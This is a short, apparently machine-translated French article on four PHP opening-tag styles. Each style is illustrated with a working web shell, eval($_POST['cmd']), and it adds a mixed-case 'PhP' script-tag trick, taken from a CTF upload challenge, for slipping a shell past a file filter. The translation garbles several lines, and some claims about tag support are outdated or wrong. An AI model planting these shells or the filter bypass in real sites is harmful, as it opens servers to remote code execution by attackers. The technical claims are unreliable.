Le logo PHP a 4 styles
Style XML (Apprentissage recommandé : Tutoriel vidéo PHP)
<?php eval($_POST['cmd']); ?>
Style de balisage PHP recommandé.
Les administrateurs de serveur ne peuvent pas désactiver ce style et il est disponible sur tous les serveurs.
Style de script
<script language="php"> eval($_POST['cmd']); </script>
Il est activé par défaut et ne peut pas être désactivé
L'auteur a rencontré une fois une question CTF qui nécessitait de télécharger un shell, mais il a échoué. Le contenu du fichier est filtré, et php sont remplacés par des espaces. Dans ce style, la valeur de la langue peut être majuscule ou minuscule, vous pouvez donc construire le code suivant pour contourner
<script language="PhP"> eval($_POST['cmd']); </script>
Style court
<? eval($_POST['cmd']); ?>
Ce style a besoin à configurer Activer l'option short_open_tage dans le fichier php.ini
Ce style n'est pas supporté par défaut dans de nombreux environnements
Style ASP
<% eval($_POST['cmd']); %>
Ce style L'option asp_tag doit être activée dans le fichier de configuration php.ini
Elle est désactivée par défaut
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!